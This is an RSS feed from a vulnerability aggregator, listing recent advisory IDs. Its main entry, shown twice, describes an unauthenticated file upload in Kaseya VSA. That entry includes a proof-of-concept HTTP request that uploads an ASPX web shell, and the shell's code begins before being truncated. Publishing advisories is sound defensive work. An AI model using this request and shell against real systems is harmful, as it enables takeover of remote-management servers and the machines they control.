https://cve.radiocsirt.org Contains only the most 10 recent entries. http://www.rssboard.org/rss-specification python-feedgen en Mon, 05 Oct 2026 10:43:04 +0000 https://cve.radiocsirt.org/vuln/certfr-2021-avi-514 certfr-2021-avi-514 https://cve.radiocsirt.org/vuln/certfr-2021-avi-514 https://cve.radiocsirt.org/vuln/cnvd-2021-50175 cnvd-2021-50175 https://cve.radiocsirt.org/vuln/cnvd-2021-50175 https://cve.radiocsirt.org/vuln/euvd-2026-26636 EUVD-2026-26636 https://cve.radiocsirt.org/vuln/euvd-2026-26636 https://cve.radiocsirt.org/vuln/fkie_cve-2021-30118 <p>An attacker can upload files with the privilege of the Web Server process for Kaseya VSA Unified Remote Monitoring &amp; Management (RMM) 9.5.4.2149 and subsequently use these files to execute asp commands The api /SystemTab/uploader.aspx is vulnerable to an unauthenticated arbitrary file upload leading to RCE. An attacker can upload files with the privilege of the Web Server process and subsequently use these files to execute asp commands. Detailed description --- Given the following request: ``` POST /SystemTab/uploader.aspx?Filename=shellz.aspx&amp;PathData=C%3A%5CKaseya%5CWebPages%5C&amp;__RequestValidationToken=ac1906a5-d511-47e3-8500-47cc4b0ec219&amp;qqfile=shellz.aspx HTTP/1.1 Host: 192.168.1.194 Cookie: sessionId=92812726; %5F%5FRequestValidationToken=ac1906a5%2Dd511%2D47e3%2D8500%2D47cc4b0ec219 Content-Length: 12 &lt;%@ Page Language=&#34;C#&#34; Debug=&#34;true&#34; validateRequest=&#34;false&#34; %&gt; &lt;%@ Import namespace=&#34;System.Web.UI.WebControls&#34; %&gt; &lt;%@ Import namespace=&#34;System.Diagnostics&#34; %&gt; &lt;%@ Import namespace=&#34;System.IO&#34; %&gt; &lt;%@ Import namespace=&#34;System&#34; %&gt; &lt;%@ Import namespace=&#34;System.Data&#34; %&gt; &lt;%@ Import namespace=&#34;System.Data.SqlClient&#34; %&gt; &lt;%@ Import namespace=&#34;System.Security.AccessControl&#34; %&gt; &lt;%@ Import namespace=&#34;System.Security.Principal&#34; %&gt; &lt;%@ Import namespace=&#34;System.Collections.Generic&#34; %&gt; &lt;%@ Import namespace=&#34;System.Collections&#34; %&gt; &lt;script runat=&#34;server&#34;&gt; private const string password = &#34;pass&#34;; // The password ( pass ) private const string style = &#34;dark&#34;; // The style ( light / dark ) prot…</p> <p>An attacker can upload files with the privilege of the Web Server process for Kaseya VSA Unified Remote Monitoring &amp; Management (RMM) 9.5.4.2149 and subsequently use these files to execute asp commands The api /SystemTab/uploader.aspx is vulnerable to an unauthenticated arbitrary file upload leading to RCE. An attacker can upload files with the privilege of the Web Server process and subsequently use these files to execute asp commands. Detailed description --- Given the following request: ``` POST /SystemTab/uploader.aspx?Filename=shellz.aspx&amp;PathData=C%3A%5CKaseya%5CWebPages%5C&amp;__RequestValidationToken=ac1906a5-d511-47e3-8500-47cc4b0ec219&amp;qqfile=shellz.aspx HTTP/1.1 Host: 192.168.1.194 Cookie: sessionId=92812726; %5F%5FRequestValidationToken=ac1906a5%2Dd511%2D47e3%2D8500%2D47cc4b0ec219 Content-Length: 12 &lt;%@ Page Language=&#34;C#&#34; Debug=&#34;true&#34; validateRequest=&#34;false&#34; %&gt; &lt;%@ Import namespace=&#34;System.Web.UI.WebControls&#34; %&gt; &lt;%@ Import namespace=&#34;System.Diagnostics&#34; %&gt; &lt;%@ Import namespace=&#34;System.IO&#34; %&gt; &lt;%@ Import namespace=&#34;System&#34; %&gt; &lt;%@ Import namespace=&#34;System.Data&#34; %&gt; &lt;%@ Import namespace=&#34;System.Data.SqlClient&#34; %&gt; &lt;%@ Import namespace=&#34;System.Security.AccessControl&#34; %&gt; &lt;%@ Import namespace=&#34;System.Security.Principal&#34; %&gt; &lt;%@ Import namespace=&#34;System.Collections.Generic&#34; %&gt; &lt;%@ Import namespace=&#34;System.Collections&#34; %&gt; &lt;script runat=&#34;server&#34;&gt; private const string password = &#34;pass&#34;; // The password ( pass ) private const string style = &#34;dark&#34;; // The style ( light / dark ) prot…</p> https://cve.radiocsirt.org/vuln/fkie_cve-2021-30118 https://cve.radiocsirt.org/vuln/ghsa-9xr3-46q4-vwhg <p>Kaseya VSA before 9.5.5 allows remote code execution.</p> <p>Kaseya VSA before 9.5.5 allows remote code execution.</p> https://cve.radiocsirt.org/vuln/ghsa-9xr3-46q4-vwhg https://cve.radiocsirt.org/vuln/gsd-2021-30118 gsd-2021-30118 https://cve.radiocsirt.org/vuln/gsd-2021-30118